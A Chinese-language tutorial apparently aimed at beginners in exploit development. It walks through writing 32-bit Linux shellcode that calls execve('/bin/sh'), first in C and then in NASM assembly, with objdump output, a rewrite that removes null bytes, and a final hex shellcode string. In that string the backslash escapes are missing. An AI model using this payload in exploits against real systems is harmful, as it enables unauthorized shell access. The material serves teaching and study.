0x00 前言
漏洞利用中必不可缺的部分就是shellcode,不会编写shellcode和咸鱼有什么区别,跳出咸鱼第一步。
0x01 系统调用
通过系统调用execve函数返回shell
C语言实现:
#include<unistd.h> #include<stdlib.h> char *buf [] = {"/bin/sh",NULL}; void main { execve("/bin/sh",buf,0); exit(0); }
execve函数在父进程中fork一个子进程,在子进程中调用exec函数启动新的程序。execve()用来执行第一参数字符串所代表的文件路径,第二个参数是利用指针数组来传递给执行文件,并且需要以空指针(NULL)结束,最后一个参数则为传递给执行文件的新环境变量数组。从程序中可以看出,如果通过C语言调用execve来返回shell的话,首先需要引入相应的头文件,然后在主函数中调用系统调用函数execve;同时传入三个参数。
编译运行,获得shell:
elvirangel@elvirangel-virtual-machine:~/DIY$ ./shellcode $ whoami elvirangel
32位linux内核的系统调用表可以通过http://syscalls.kernelgrok.com/网站来查询,我们这里获得shell只需用到execve函数
这里execve函数系统调用号为11,图中也给出了对应寄存器中保存的参数值
0x02 汇编形式编写shellcode
1. Int 0x80软中断
int 0x80软中断是系统中断,根据中断号和相关寄存器设置调用对应系统函数
2. 开始编写shellcode
global _start _start: mov eax,0 ;eax置0 mov edx,0 ;edx置0 push edx push "/sh" push "/bin" ;将/bin/sh存入栈中 mov ebx,esp ;ebx指向/bin/sh字符串 xor eax,eax mov al,0Bh ;eax置为execve函数中断号 int 80h
保存为shellcode.asm,通过编译链接,然后运行,获得shell
elvirangel@elvirangel-virtual-machine:~/DIY$ nasm -f elf32 shellcode.asm elvirangel@elvirangel-virtual-machine:~/DIY$ ld -m elf_i386 -o shellcode shellcode.o elvirangel@elvirangel-virtual-machine:~/DIY$ ./001 $ whoami
elvirangel
获得机器码
$ objdump -d shellcode shellcode: file format elf32-i386 Disassembly of section .text: 08048060 <_start>: 8048060: b8 00 00 00 00 mov $0x0,%eax 8048065: ba 00 00 00 00 mov $0x0,%edx 804806a: 52 push %edx 804806b: 68 2f 73 68 00 push $0x68732f 8048070: 68 2f 62 69 6e push $0x6e69622f 8048075: 89 e3 mov %esp,%ebx 8048077: 31 c0 xor %eax,%eax 8048079: b0 0b mov $0xb,%al 804807b: cd 80 int $0x80
发现机器码中有许多/x00字节,shellcode中存在/x00字节在进行利用的时候会被截断,所以我们要避免出现/x00字节,重新修改我们的汇编程序
global _start _start: xor ecx,ecx xor edx,edx push edx push "//sh" push "/bin" mov ebx,esp xor eax,eax mov al,0Bh int 80h
编译链接运行,得到机器码
$ objdump -d ./shellcode ./shellcode: file format elf32-i386 Disassembly of section .text: 08048060 <_start>: 8048060: 31 c9 xor %ecx,%ecx 8048062: 31 d2 xor %edx,%edx 8048064: 52 push %edx 8048065: 68 2f 2f 73 68 push $0x68732f2f 804806a: 68 2f 62 69 6e push $0x6e69622f 804806f: 89 e3 mov %esp,%ebx 8048071: 31 c0 xor %eax,%eax 8048073: b0 0b mov $0xb,%al 8048075: cd 80 int $0x80
没有出现/x00字节,得到最终的 shellcode = "x31xc9x31xd2x52x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc0xb0x0bxcdx80"
0x03 后记
刚接触,很多细节没有讨论,详情请看参考链接